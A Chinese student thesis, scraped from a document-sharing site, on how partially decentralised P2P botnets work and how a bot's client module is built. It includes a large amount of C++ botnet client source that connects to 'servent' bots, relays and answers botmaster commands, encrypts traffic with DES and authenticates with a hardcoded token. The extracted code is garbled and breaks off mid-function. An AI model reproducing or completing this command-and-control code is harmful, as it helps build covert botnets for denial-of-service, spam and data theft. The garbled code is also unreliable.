




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、P2P bot的原理及客戶端端模塊的設(shè)計(jì)與實(shí)現(xiàn) 內(nèi)容摘要:僵尸網(wǎng)絡(luò)是一種從傳統(tǒng)惡意代碼形態(tài)進(jìn)化而來(lái)的新型攻擊方式,為攻擊者提供了隱匿、靈活且高效的一對(duì)多命令與控制機(jī)制,可以控制大量僵尸主機(jī)實(shí)現(xiàn)信息竊取、分布式拒絕服務(wù)攻擊和垃圾郵件發(fā)送等攻擊目的.僵尸網(wǎng)絡(luò)正步入快速發(fā)展期,對(duì)因特網(wǎng)安全已造成嚴(yán)重威脅,對(duì)中國(guó)大陸造成的危害尤為嚴(yán)重.本文介紹了僵尸網(wǎng)絡(luò)的演化過(guò)程和基本定義??蛻舳耸荘2P Botnet的bot程序重要的組成部分,本文詳細(xì)介紹了客戶端主要功能模塊及各模塊之間的運(yùn)行關(guān)系。闡述了客戶端工作流程及相關(guān)的關(guān)鍵數(shù)據(jù)結(jié)構(gòu)。開(kāi)發(fā)中利用了計(jì)算機(jī)網(wǎng)絡(luò)編程的基本理論知識(shí)。經(jīng)過(guò)分析這些情況,該客戶端采用Mi
2、crosoft Visual C+ 6.0為基本開(kāi)發(fā)環(huán)境。關(guān)鍵字: 網(wǎng)絡(luò)安全;僵尸網(wǎng)絡(luò);客戶端Abstract:Botnet is a novel attack strategy evolved from traditional malware forms; it provides the attackers stealthy, flexible and efficient one-to-many Command and Control mechanisms, which can be used to order an army of zombies to achieve the goals
3、including information theft, launching distributed denial of service, and sending spam. Botnet has stepped into the expanding phase, and has been a serious threat to Internet security, especially in China mainland. In this paper, the evolution process, concept .The Client is the most important cente
4、r of partially P2P Botnet. The primary functions and the relation of them are introduced in detail.Keywords:network security; botnet; peer-to-peer目 錄1引言11.1 國(guó)內(nèi)外研究背景資料.12 C+語(yǔ)言及系統(tǒng)開(kāi)發(fā)工具簡(jiǎn)介12.1 C+語(yǔ)言的由來(lái)22.2 C+語(yǔ)言的發(fā)展22.3 C+語(yǔ)言的特點(diǎn)22.4 系統(tǒng)開(kāi)發(fā)工具33 系統(tǒng)描述43.1 選課來(lái)源43.2 P2P協(xié)議常識(shí)43.3 P2P bot的原理43.4 需求分析53.5 系統(tǒng)功能模塊概述53.5.
5、1 客戶端53.5.2 服務(wù)器端 . 54 P2P bot客戶端總體設(shè)計(jì)64.1 系統(tǒng)運(yùn)行環(huán)境64.1.1 硬件環(huán)境. 64.1.2 軟件環(huán)境. 64.2 客戶端與服務(wù)器端功能原理的實(shí)現(xiàn)84.3 系統(tǒng)實(shí)現(xiàn)原理 . 95 詳細(xì)設(shè)計(jì)95.1 客戶端程序編寫(xiě)105.1.1 客戶端程序105.1.2 客戶端執(zhí)行程序. 125.1.3 服務(wù)器監(jiān)聽(tīng)程序185.2 功能測(cè)試. 236結(jié)束語(yǔ)24參考文獻(xiàn)25P2P bot的原理及客戶端端模塊的設(shè)計(jì)與實(shí)現(xiàn)客戶端1 引言1.1 國(guó)內(nèi)外研究背景資料僵尸網(wǎng)絡(luò)是近年來(lái)興起的危害互聯(lián)網(wǎng)的重大安全威脅之一,攻擊者通過(guò)各種途徑傳播僵尸程序感染互聯(lián)網(wǎng)上的大量主機(jī),而被感染的主機(jī)
6、將通過(guò)一個(gè)控制信道接收攻擊者的指令,組成一個(gè)僵尸網(wǎng)絡(luò)。大部分的僵尸網(wǎng)絡(luò)都可以在攻擊者的控制下進(jìn)行進(jìn)一步的傳播,從而使得僵尸網(wǎng)絡(luò)的規(guī)模越來(lái)越龐大。一旦攻擊者擁有一定規(guī)模的僵尸網(wǎng)絡(luò),就可以利用僵尸網(wǎng)絡(luò)所控制的資源,在互聯(lián)網(wǎng)上建立起了一種強(qiáng)勢(shì)地位,并且可以利用這些資源獲取經(jīng)濟(jì)利益。僵尸網(wǎng)絡(luò)的危害主要體現(xiàn)在發(fā)動(dòng)分布式拒絕服務(wù)攻擊、發(fā)送垃圾郵件以及竊取僵尸主機(jī)內(nèi)的敏感信息等。研究顯示全世界接入因特網(wǎng)的計(jì)算機(jī)中大約有40%被感染了僵尸程序(bot),并受攻擊者控制?;赑2P協(xié)議的半分布式僵尸網(wǎng)絡(luò)(Partially Decentralized P2P Botnet )已經(jīng)成為網(wǎng)絡(luò)安全研究人員關(guān)注的焦點(diǎn)。
7、由于P2P網(wǎng)絡(luò)中每個(gè)節(jié)點(diǎn)是對(duì)等的,即使移除半分布式P2P 僵尸網(wǎng)絡(luò)中的一個(gè)或者幾個(gè)中心bot節(jié)點(diǎn)或一批非中心bot節(jié)點(diǎn),對(duì)整個(gè)僵尸網(wǎng)絡(luò)不會(huì)造成致命的影響;半分布式P2P僵尸網(wǎng)絡(luò)的控制方式采用分布式的控制,各個(gè)bot之間的通信流量隱藏在了大量的正常P2P通信流量下。這些特點(diǎn)使得半分布式P2P僵尸網(wǎng)絡(luò)具有更好的安全性,隱秘性和魯棒性。這給半分布式P2P僵尸網(wǎng)絡(luò)的發(fā)現(xiàn)、跟蹤和控制帶來(lái)了巨大的挑戰(zhàn)。目前,國(guó)內(nèi)外對(duì)半分布式P2P Botnet的研究仍然處于初級(jí)階段,還未給出通用的檢測(cè)方法。要檢測(cè)和跟蹤半分布式P2P Botnet,需了解它的控制機(jī)制和運(yùn)行原理。本文概要介紹了Botnet技術(shù),分析了基于P
8、2P 技術(shù)的Botnet 的特點(diǎn)并研究在基于P2P協(xié)議機(jī)制的bot程序中,客戶端所扮演的角色。2 C+語(yǔ)言及系統(tǒng)開(kāi)發(fā)工具簡(jiǎn)介2.1 C+語(yǔ)言的由來(lái)C+是從C語(yǔ)言發(fā)展演變而來(lái)的一種面向?qū)ο蟮某绦蛟O(shè)計(jì)語(yǔ)言。貝爾實(shí)驗(yàn)室的本賈尼·斯特勞斯特盧普(w:en:Bjarne Stroustrup)博士在20世紀(jì)80年代發(fā)明并實(shí)現(xiàn)了C+(最初這種語(yǔ)言被稱(chēng)作“C with Classes”)。C+是作為C語(yǔ)言的增強(qiáng)版出現(xiàn)的,從給C語(yǔ)言增加類(lèi)開(kāi)始,不斷的增加新特性。2.2 C+語(yǔ)言的發(fā)展C+語(yǔ)言發(fā)展大概可以分為三個(gè)階段:第一階段從80年代到1995年。這一階段C+語(yǔ)言基本上是傳統(tǒng)類(lèi)型上的面向?qū)ο笳Z(yǔ)言,并
9、且憑借著接近C語(yǔ)言的效率,在工業(yè)界使用的開(kāi)發(fā)語(yǔ)言中占據(jù)了相當(dāng)大份額;第二階段從1995年到2000年,這一階段由于標(biāo)準(zhǔn)模板庫(kù)(STL)和后來(lái)的Boost等程序庫(kù)的出現(xiàn),泛型程序設(shè)計(jì)在C+中占據(jù)了越來(lái)越多的比重性。當(dāng)然,同時(shí)由于Java、C#等語(yǔ)言的出現(xiàn)和硬件價(jià)格的大規(guī)模下降,C+受到了一定的沖擊;第三階段從2000年至今,由于以Loki、MPL等程序庫(kù)為代表的產(chǎn)生式編程和模板元編程的出現(xiàn),C+出現(xiàn)了發(fā)展歷史上又一個(gè)新的高峰,這些新技術(shù)的出現(xiàn)以及和原有技術(shù)的融合,使C+已經(jīng)成為當(dāng)今主流程序設(shè)計(jì)語(yǔ)言中最復(fù)雜的一員。2.3 C+語(yǔ)言的特點(diǎn)C+的主要特點(diǎn)表現(xiàn)在兩個(gè)方面,一是全面兼容C,二十支持面向?qū)ο?/p>
10、的方法。面向?qū)ο蟮某绦蛟O(shè)計(jì)方法將數(shù)據(jù)及對(duì)數(shù)據(jù)的操作方法封裝在一起座位一個(gè)相互依存、不可分離的整體對(duì)象。對(duì)同類(lèi)型對(duì)象抽象出氣共性,形成類(lèi)。類(lèi)中的大多數(shù)數(shù)據(jù),只能用本類(lèi)的方法進(jìn)行處理。類(lèi)通過(guò)一個(gè)簡(jiǎn)單的外部皆可,與外界發(fā)生關(guān)系,對(duì)象與對(duì)象之間通過(guò)消息進(jìn)行通信。這樣,程序模塊間的關(guān)系簡(jiǎn)單,程序模塊的獨(dú)立性,數(shù)據(jù)的安全性具有良好的保障。同時(shí),通過(guò)繼承與多態(tài)性,使程序具有很高的可重用性,是的軟件的開(kāi)發(fā)和維護(hù)都更為方便。由于面向?qū)ο蠓椒ǖ耐怀鰞?yōu)點(diǎn),目前它已經(jīng)成為開(kāi)發(fā)大型軟件才用的主要方法,而C+語(yǔ)言是應(yīng)用最廣泛的面向?qū)ο蟮某绦蛟O(shè)計(jì)語(yǔ)言之一。2.4 系統(tǒng)開(kāi)發(fā)工具M(jìn)icrosoft Visual C+ 6.0
11、簡(jiǎn)介Visual C+是一個(gè)功能強(qiáng)大的可視化軟件開(kāi)發(fā)工具。自1993年Microsoft公司推出Visual C+1.0后,隨著其新版本的不斷問(wèn)世,Visual C+已成為專(zhuān)業(yè)程序員進(jìn)行軟件開(kāi)發(fā)的首選工具。雖然微軟公司推出了Visual C+.NET(Visual C+7.0),但它的應(yīng)用的很大的局限性,只適用于Windows 2000,Windows XP和Windows NT4.0。所以實(shí)際中,更多的是以Visual C+6.0為平臺(tái)。Visual C+6.0不僅是一個(gè)C+編譯器,而且是一個(gè)基于Windows操作系統(tǒng)的可視化集成開(kāi)發(fā)環(huán)境(integrated development env
12、ironment,IDE)。Visual C+6.0由許多組件組成,包括編輯器、調(diào)試器以及程序向?qū)ppWizard、類(lèi)向?qū)lass Wizard等開(kāi)發(fā)工具。 這些組件通過(guò)一個(gè)名為Developer Studio的組件集成為和諧的開(kāi)發(fā)環(huán)境。Visual C+它大概可以分成三個(gè)主要的部分:1 Developer Studio,這是一個(gè)集成開(kāi)發(fā)環(huán)境,我們?nèi)粘9ぷ鞯?9%都是在它上面完成的,再加上它的標(biāo)題赫然寫(xiě)著“Microsoft Visual C+”,所以很多人理所當(dāng)然的認(rèn)為,那就是Visual C+了。其實(shí)不然,雖然Developer Studio提供了一個(gè)很好的編輯器和很多Wizard,但
13、實(shí)際上它沒(méi)有任何編譯和鏈接程序的功能,真正完成這些工作的幕后英雄后面會(huì)介紹。我們也知道,Developer Studio并不是專(zhuān)門(mén)用于VC的,它也同樣用于VB,VJ,VID等Visual Studio家族的其他同胞兄弟。所以不要把Developer Studio當(dāng)成Visual C+, 它充其量只是Visual C+的一個(gè)殼子而已。這一點(diǎn)請(qǐng)切記!2 MFC。從理論上來(lái)講,MFC也不是專(zhuān)用于Visual C+,Borland C+,C+Builder和Symantec C+同樣可以處理MFC。同時(shí),用Visual C+編寫(xiě)代碼也并不意味著一定要用MFC,只要愿意,用Visual C+來(lái)編寫(xiě)SDK
14、程序,或者使用STL,ATL,一樣沒(méi)有限制。不過(guò),Visual C+本來(lái)就是為MFC打造的,Visual C+中的許多特征和語(yǔ)言擴(kuò)展也是為MFC而設(shè)計(jì)的,所以用Visual C+而不用MFC就等于拋棄了Visual C+中很大的一部分功能。但是,Visual C+也不等于MFC。3 Platform SDK。這才是Visual C+和整個(gè)Visual Studio的精華和靈魂,雖然我們很少能直接接觸到它。大致說(shuō)來(lái),Platform SDK是以Microsoft C/C+編譯器為核心(不是Visual C+,看清楚了),配合MASM,輔以其他一些工具和文檔資料。上面說(shuō)到Developer Stu
15、dio沒(méi)有編譯程序的功能,那么這項(xiàng)工作是由誰(shuí)來(lái)完成的呢?是CL,是NMAKE,和其他許許多多命令行程序,這些我們看不到的程序才是構(gòu)成Visual Studio的基石。3 系統(tǒng)描述3.1 選課來(lái)源根據(jù)當(dāng)前網(wǎng)絡(luò)的發(fā)展,網(wǎng)絡(luò)安全越來(lái)越受各種網(wǎng)民所關(guān)注?;赑2P協(xié)議的僵尸網(wǎng)絡(luò)(Partially Decentralized P2P Botnet )也已經(jīng)成為網(wǎng)絡(luò)安全研究人員關(guān)注的焦點(diǎn)。因此作為網(wǎng)絡(luò)中的一員對(duì)起進(jìn)行研究和探討也是是有必要,通過(guò)研P2P bot的原理使我們可以更加了解網(wǎng)絡(luò)安全的必要性。而且對(duì)我們?cè)诮窈髤⑴c到網(wǎng)絡(luò)中也有著很大的幫助。而本人也學(xué)習(xí)過(guò)C+語(yǔ)言,對(duì)網(wǎng)絡(luò)編程和網(wǎng)絡(luò)安全也較有興趣,為
16、了更好的考驗(yàn)自己對(duì)C+語(yǔ)言以及網(wǎng)絡(luò)知識(shí)方面的掌握程度,本人就決定以P2P bot的原理及客戶端端模設(shè)計(jì)與實(shí)現(xiàn)為畢業(yè)設(shè)計(jì),希望通過(guò)這一次的畢業(yè)設(shè)計(jì)發(fā)現(xiàn)自己在專(zhuān)業(yè)知識(shí)方面的欠缺,然后進(jìn)一步提高本人的網(wǎng)絡(luò)開(kāi)發(fā)編程的能力。3.2 P2P協(xié)議常識(shí)P2P是peer-to-peer的縮寫(xiě),peer在英語(yǔ)里有"(地位、能力等)同等者"、"同事"和"伙伴"等意義。這樣一來(lái),P2P也就可以理解為"伙伴對(duì)伙伴"的意思,或稱(chēng)為對(duì)等聯(lián)網(wǎng)。利用P2P技術(shù),計(jì)算機(jī)之間可以進(jìn)行直接交互,而不需要使用任何一臺(tái)中央服務(wù)器。而且由于大部分處理直接在節(jié)點(diǎn)
17、之間進(jìn)行,減少了對(duì)服務(wù)器的依賴(lài),具有很好的可擴(kuò)展性。目前,P2P技術(shù)已經(jīng)應(yīng)用于很多領(lǐng)域,如:文件共享、即時(shí)通訊、協(xié)同工作、分布式計(jì)算、電子商務(wù)、網(wǎng)絡(luò)游戲以及信息檢索等方面,其中網(wǎng)絡(luò)文件共享應(yīng)用最為廣泛。3.3 P2P bot的原理Servent bots (服務(wù)節(jié)點(diǎn)或超級(jí)節(jié)點(diǎn)):是僵尸網(wǎng)絡(luò)控制者(botmaster)從僵尸網(wǎng)絡(luò)中選擇的,性能和安全性能比較好的受控主機(jī)來(lái)做為服務(wù)節(jié)點(diǎn)(一般選擇靜態(tài)IP的主機(jī))。服務(wù)節(jié)點(diǎn)(servent bots)類(lèi)似于一個(gè)服務(wù)器,但又包含了Client bots 的功能,可以對(duì)接收到的指令進(jìn)行轉(zhuǎn)發(fā)、處理,它可以主動(dòng)連接其它的服務(wù)節(jié)點(diǎn),同時(shí)也接受客戶節(jié)點(diǎn)(Clien
18、t bots)和其它服務(wù)節(jié)點(diǎn)的連接。Client bots(客戶節(jié)點(diǎn)):它也是受控的主機(jī)(一般為動(dòng)態(tài))。它能主動(dòng)的周期性的連接Servent bots 。在這兩種節(jié)點(diǎn)(即每臺(tái)受控主機(jī))中都存有一張有限的鄰接的服務(wù)節(jié)點(diǎn)的鏈表(peer list),鏈表中有服務(wù)節(jié)點(diǎn)的IP地址,但并不包括客戶節(jié)點(diǎn)的IP (因?yàn)榭蛻艄?jié)點(diǎn)一般都有動(dòng)態(tài)的IP)。根據(jù)節(jié)點(diǎn)在整個(gè)僵尸網(wǎng)絡(luò)中的地位和作用不同,將所有的節(jié)點(diǎn)分為了兩類(lèi):servent bot節(jié)點(diǎn) 和client bot節(jié)點(diǎn)。半分布式P2P botnet所有的節(jié)點(diǎn)均部署統(tǒng)一的、基于P2P協(xié)議機(jī)制的bot程序。Bot 程序包含客戶端程序、控制服務(wù)器程序和指令功能實(shí)施模
19、塊三個(gè)部分。Client bot 僅啟動(dòng)客戶端程序,servent bot既啟動(dòng)客戶端程序又啟動(dòng)控制服務(wù)器程序。3.4 需求分析要測(cè)試運(yùn)行P2P bot客戶端,我們還需要服務(wù)器端。首先來(lái)看一下客戶端的任務(wù): 客戶端能主動(dòng)連接服務(wù)器端Servent bots ,并向服務(wù)器端發(fā)送消息。服務(wù)器應(yīng)該完成的工作包括:1. 服務(wù)器與客戶端建立連接。 2. 接收來(lái)自客戶端的信息,接收到的信息如果為認(rèn)證信息,判斷其是否通過(guò)認(rèn)證。相對(duì)服務(wù)器而言,客戶端的任務(wù)較為簡(jiǎn)單,有了以上的簡(jiǎn)單分析,可以知道,解決上述幾個(gè)問(wèn)題,即完成了該P(yáng)2P bot客戶端的核心任務(wù)。3.5 系統(tǒng)功能模塊概述3.5.1 客戶端Client
20、bots(客戶節(jié)點(diǎn)):它也是受控的主機(jī)(一般為動(dòng)態(tài))。它能主動(dòng)的周期性的連接Servent bots 。3.5.2 服務(wù)器端Servent bots (服務(wù)節(jié)點(diǎn)或超級(jí)節(jié)點(diǎn)):是僵尸網(wǎng)絡(luò)控制者(botmaster)從僵尸網(wǎng)絡(luò)中選擇的,性能和安全性能比較好的受控主機(jī)來(lái)做為服務(wù)節(jié)點(diǎn)(一般選擇靜態(tài)IP的主機(jī))。服務(wù)節(jié)點(diǎn)(servent bots)類(lèi)似于一個(gè)服務(wù)器,但又包含了Client bots 的功能,可以對(duì)接收到的指令進(jìn)行轉(zhuǎn)發(fā)、處理,它可以主動(dòng)連接其它的服務(wù)節(jié)點(diǎn),同時(shí)也接受客戶節(jié)點(diǎn)(Client bots)和其它服務(wù)節(jié)點(diǎn)的連接。4 P2P bot客戶端總體設(shè)計(jì)客戶端與服務(wù)器端建立的連接圖:4.1.
21、1硬件環(huán)境A. 具有奔騰4、64兆內(nèi)存和顯存配置以上的計(jì)算機(jī)。B. Microsoft鼠標(biāo)或其它兼容鼠標(biāo)。C. 最少500MB的硬盤(pán)空間,常規(guī)安裝需要500MB硬盤(pán)空間,完全安裝需要1G硬盤(pán)空間。 D. WindowsXP中文版更高。E. VGA顯示器或更高。4.1.1軟件環(huán)境使用4臺(tái)主機(jī)作為測(cè)試對(duì)象。其中3臺(tái)主機(jī)作為服務(wù)器節(jié)點(diǎn),1臺(tái)主機(jī)作為客戶端節(jié)點(diǎn)。4臺(tái)主機(jī)中分別植入了半分布式的P2P bot程序,在局域網(wǎng)內(nèi)。4.1 客戶端與服務(wù)器端功能原理的實(shí)現(xiàn) 服務(wù)器與客戶端建立連接之后,處理接收信息的控制流程如圖2所示。 圖21、服務(wù)器與客戶端建立連接,并創(chuàng)建相應(yīng)的套接字對(duì)象。利用套接字對(duì)象集合存儲(chǔ)
22、新的套接字對(duì)象。這樣,一條連接對(duì)應(yīng)了一個(gè)套接字對(duì)象(如圖2)。2、接收來(lái)自客戶端的信息。接收到的信息如果為認(rèn)證信息,判斷其是否通過(guò)認(rèn)證:1通過(guò)認(rèn)證,則將返回該服務(wù)器的認(rèn)證信息到源bot。并判斷該連接是否已經(jīng)斷開(kāi),如果沒(méi)有,繼續(xù)接收來(lái)自客戶端的信息。2沒(méi)有通過(guò)認(rèn)證,將直接斷開(kāi)與客戶端的連接。3、接收到非認(rèn)證信息,判斷是否為其它bot的id號(hào)(通過(guò)m_bid標(biāo)志判斷)。如果是,則交換該bot的id號(hào),將該id號(hào)發(fā)送回源bot。如果為其它的指令,交由解析指令模塊執(zhí)行。4、對(duì)解析出來(lái)的指令,判斷該指令是否為反饋信息。如果為反饋信息,則根據(jù)源地址將該反饋信息返回給源bot。如果為bot的執(zhí)行指令,交由b
23、ot的處理指令模塊進(jìn)行處理。5、判斷客戶端和服務(wù)器的連接是否斷開(kāi)。斷開(kāi)則關(guān)閉套接字、清除套接字對(duì)象。l服務(wù)器線程處理一條連接完成。bot主程序仍在運(yùn)行,服務(wù)器繼續(xù)監(jiān)聽(tīng);主程序已經(jīng)終止,則終止服務(wù)器程序。4. 2 系統(tǒng)實(shí)現(xiàn)原理botmasterServent botsClient bots節(jié)點(diǎn)2節(jié)點(diǎn)1節(jié)點(diǎn)3節(jié)點(diǎn)4節(jié)點(diǎn)5P2P bot 工作的原理圖31、控制者(botmaster)用私鑰登陸到已知的服務(wù)節(jié)點(diǎn)(Servent bots)中的任何一個(gè)節(jié)點(diǎn),并向該臺(tái)服務(wù)節(jié)點(diǎn)(Servent bots)發(fā)送指令(如圖的所示)。2、服務(wù)節(jié)點(diǎn)收到指令后,與該臺(tái)主機(jī)的bot 中所存儲(chǔ)的接收到的指令(每條指令都有
24、一個(gè)ID)比較,如果這條指令已接收過(guò),則不處理這條指令。如果這條指令從未接收過(guò),那么服務(wù)節(jié)點(diǎn)根據(jù)peer list 中的服務(wù)節(jié)點(diǎn)的IP 將這條指令轉(zhuǎn)發(fā)給peer list 中的所有服務(wù)節(jié)點(diǎn)(Servent bots)。同時(shí)該臺(tái)主機(jī)也要處理該條指令。(如圖中的所示)3、其它的服務(wù)節(jié)點(diǎn)(Servent bots)周期性的主動(dòng)連接其peer list 中的服務(wù)節(jié)點(diǎn)(Servent bots)(如上圖所示的節(jié)點(diǎn)2主動(dòng)連接節(jié)點(diǎn)1、節(jié)點(diǎn)3主動(dòng)連接節(jié)點(diǎn)4),一旦建立連接,節(jié)點(diǎn)2向節(jié)點(diǎn)1發(fā)送一個(gè)探測(cè)包,要求將最近收到的一條指令發(fā)送過(guò)來(lái)。節(jié)點(diǎn)1收到探測(cè)包后,向節(jié)點(diǎn)2 發(fā)送最近的一條指令(如圖中的所示)。4、節(jié)點(diǎn)
25、(所有bots)接收到指令后,也要判斷是否接收過(guò)此條指令。如果在指令鏈表中已有此條指令,將不做任何處理;如果沒(méi)有,則將此條指令轉(zhuǎn)發(fā)給該bot 的peer list 中的所有服務(wù)節(jié)點(diǎn)(Servent bots)(如圖中所示),再重復(fù)步驟2。同時(shí)該主機(jī)分析處理這條指令。5 詳細(xì)設(shè)計(jì)5.1 客戶端程序編寫(xiě)5.1.1 客戶端程序 建立客戶端建立客戶端程序并對(duì)發(fā)送的數(shù)據(jù)先加密,用公鑰加密數(shù)據(jù)msg相關(guān)代碼如下:void CClient:Cmd_Forward(CString &cmd, bool cmd_reply, CThread *object)/用本服務(wù)器(bot)的對(duì)稱(chēng)密鑰
26、加密數(shù)據(jù)再發(fā)送Cmd_Forward(cmd.Str(), cmd_reply, object);void CClient:Cmd_Forward(char *cmd, bool cmd_reply, CThread *object)/用本服務(wù)器(bot)的對(duì)稱(chēng)密鑰加密數(shù)據(jù)再發(fā)送if (cmd_reply)Thread_mutex.Lock();list<CThread *>:iterator it;for (it=m_CLientitemThread.begin(); it!=m_CLientitemThread.end(); +it)if (*it != object)/注意要
27、先加密 (CClientItem *)(*it)->SendMsg(cmd,true);Thread_mutex.Unlock();elseCClientItem *to_object = (CClientItem*)object;to_object->SendMsg(cmd,true); void CClient:SendReply(CString &msg, CMessage *pMsg)/用公鑰加密msg 要反饋的信息;char buff1000;memset(buff, 0,sizeof(buff);memcpy(buff, msg.Str(), msg.GetLe
28、ngth();CString reply;reply.Format("%d %d %s %s %s*%s", 2, 20, g_cMainCtrl.m_cBot.bot_id.sValue.Str(), pMsg->sReplyTo.Str(), pMsg->sIdentd.Str(), buff);g_cMainCtrl.m_cConsDbg.Log(4, "客戶端要反饋的信息:%sn", reply.Str();list<CThread*>:iterator it;for (it=m_CLientitemThread.begi
29、n(); it!=m_CLientitemThread.end(); +it)CClientItem *item = (CClientItem*)(*it);if (item->same(pMsg->sReplyTo)item->SendMsg(reply.Str(), true); break;/一般只有一條,所以停止查找void CClient:SendReply(char *msg, CMessage *pMsg)CString in_msg(msg);SendReply(in_msg, pMsg);void CClient:SendReply(CString &
30、;msg, CString &sReplyTo, CString &sIdentd, bool &type)/用公鑰加密msg 要反饋的信息;char buff1000;memset(buff, 0,sizeof(buff);memcpy(buff, msg.Str(), msg.GetLength();CString reply;reply.Format("%d %d %s %s %s*%s", 2, 20, g_cMainCtrl.m_cBot.bot_id.sValue.Str(), sReplyTo.Str(), sIdentd.Str(),
31、 buff);g_cMainCtrl.m_cConsDbg.Log(4, "客戶端要反饋的信息:%sn", reply);list<CThread*>:iterator it;for (it=m_CLientitemThread.begin(); it!=m_CLientitemThread.end(); +it)CClientItem *item = (CClientItem*)(*it);if (item->same(sReplyTo)item->SendMsg(reply.Str(), true); break;/一般只有一條,所以停止查找5.
32、1.2 客戶端執(zhí)行程序 與服務(wù)器建立連接客戶端與服務(wù)器端進(jìn)行連接,發(fā)送數(shù)據(jù)。 相關(guān)代碼如下: #ifdef DBGCONSOLEg_cMainCtrl.m_cConsDbg.Log(4,"CClient(0x%8.8Xh):Trying to connect to "%s:%d".n", this, (*it)->si_serverip.sValue.CStr(), (*it)->si_port.iValue);#endif/連接服務(wù)器/ Setup vars, resolve addressSOCKET m_sSocket;s
33、ockaddr_in ssin;int iErr; /memset(&ssin, 0, sizeof(ssin);ssin.sin_family=AF_INET;ssin.sin_port=htons(*it)->si_port.iValue);ssin.sin_addr.s_addr=ResolveAddress(*it)->si_serverip.sValue).Str();m_sSocket = socket(AF_INET,SOCK_STREAM,0);if (m_sSocket = SOCKET_ERROR) continue; #ifdef DBGCONSOLE
34、 g_cMainCtrl.m_cConsDbg.Log(4, "Client(0x%8.8Xh): Resolved "%s" to "%s".n", this,(*it)->si_serverip.sValue.CStr(),inet_ntoa(to_in_addr(ssin.sin_addr.s_addr); #endifiErr=connect(m_sSocket, (sockaddr*)&ssin, sizeof(ssin);/連接服務(wù)器if(iErr=SOCKET_ERROR) / Connect failed
35、, exit #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(4, "CClient(0x%8.8Xh): Connection to "%s:%d" failed!n", this, (*it)->si_serverip.sValue.CStr(), (*it)->si_port.iValue); #endifSleep(10000);continue;else / Connection established#ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(
36、3, "CClient(0x%8.8Xh): Connection to "%s:%d" established!n",this,(*it)->si_serverip.sValue.CStr(),(*it)->si_port.iValue);#endif (*it)->si_connect.bValue = true;/建立連接線程,因?yàn)橐粋€(gè)連接一個(gè)線程CClientItem *m_Clientitem = new CClientItem(m_sSocket,(*it)->si_key.sValue.CStr(),this, (*
37、it)->si_serverip.sValue); /如果有初始化,就先進(jìn)行初始化,可以在對(duì)象里寫(xiě)一個(gè)初始化的函數(shù) 如m_Clientitem.init();m_CLientitemThread.push_back(m_Clientitem);/啟動(dòng)線程m_Clientitem->Start(); /連接相應(yīng)的服務(wù)器Sleep(10000); /休息一段時(shí)間,再繼續(xù)連接服務(wù)器,可停頓較長(zhǎng)的時(shí)間return NULL; 連接服務(wù)器后接受信息當(dāng)客戶端建立與服務(wù)器端的連接后,服務(wù)器接受信息,開(kāi)始時(shí)要進(jìn)行一些信息的必要交換,然后對(duì)數(shù)據(jù)進(jìn)行解密,然后判斷是否通過(guò)認(rèn)證消息。 相
38、關(guān)代碼如下:void *CClientItem:Run()/服務(wù)器已經(jīng)連接上了,可以接收消息了,也可以接收消息了,開(kāi)始時(shí)要進(jìn)行一些信息的必要交換Sleep(1000);m_des.SetDeskey(key);if (!m_Certification)unsigned char buf200="p2pnet"int len=120;/memcpy(buf,"p2pnet0",len+1);/對(duì)它加密然后再發(fā)出去unsigned char output200;memset(output,0,200);int encrypt = 1;m_des.des(ou
39、tput,buf, encrypt);encrypt = 0;unsigned char output1200;m_des.des(output1,output,encrypt);int length =strlen(char *)output);if (SendMsg(char *)output, false)g_cMainCtrl.m_cConsDbg.Log(4, "認(rèn)識(shí)口令已經(jīng)發(fā)送n");else m_bRunning = false;closesocket(m_sSocket);char szLine100;memset(szLine, 0, 100);bool
40、bRecvd=false;if (!Receive(szLine, sizeof(szLine)/recv(m_sSocket, szLine, 100, 0) = SOCKET_ERRORm_bRunning = false;closesocket(m_sSocket);int i= strlen(szLine);szLinestrlen(szLine)+1='0'if (!strcmp(szLine,"agree")g_cMainCtrl.m_cConsDbg.Log(4, "有一條到服務(wù)器的連接已經(jīng)通過(guò)認(rèn)證n");m_Certifi
41、cation= true;elseg_cMainCtrl.m_cConsDbg.Log(4, "有一條到服務(wù)器的連接沒(méi)有通過(guò)認(rèn)證n"); bool CClientItem:SendRaw(char *szMsg)if(g_cMainCtrl.m_cBot.si_usessl.bValue)if(m_csslSocket.Write(szMsg, strlen(szMsg) <= strlen(szMsg)m_bRunning = false;xClose(m_sSocket);m_client->DeleteThread(this);return false;e
42、lsereturn true; elseint length = xWrite(m_sSocket, szMsg, strlen(szMsg),0);if( length < strlen(szMsg)m_bRunning = false;xClose(m_sSocket);m_client->DeleteThread(this);return false; else g_cMainCtrl.m_cConsDbg.Log(2, "客戶端發(fā)送信息成功n");return true; bool CClientItem:Receive(char *szBuffer,
43、int iBufSize)int iRead=0;iRead = xRead(m_sSocket, szBuffer, 1000);if(!iRead | iRead=-1)if(ERRNO!=EWOULDBLOCK) return false;szBufferstrlen(szBuffer)-1 = '0'if (szBufferstrlen(szBuffer)-1 = 'n')szBufferstrlen(szBuffer)-1 = '0'g_cMainCtrl.m_cConsDbg.Log(2, "客戶端收到的信息:%sn&quo
44、t;, szBuffer);return true; bool CClientItem:SendMsg(char *szMsg, bool is)if (is) /如果為真要先加密然后再發(fā)送char szline1000;memset(szline, 0, 1000);m_des.des(unsigned char*)szline, (unsigned char*)szMsg, 1);szlinestrlen(szline) = 'n' return SendRaw(szline);elseszMsgstrlen(szMsg) = 'n'return SendR
45、aw(szMsg);bool CClientItem:same(CString &botid)g_cMainCtrl.m_cConsDbg.Log(2, "客戶端的比較:%sn%sn", m_serverid.Str(), botid.Str();if ( !m_serverid.Compare(botid) return true;return false;CClientItem* CClientItem:FinBot(char *m_source) /應(yīng)該是根據(jù)指令I(lǐng)d,來(lái)查找它的來(lái)源CString botid(m_source);list<CThread
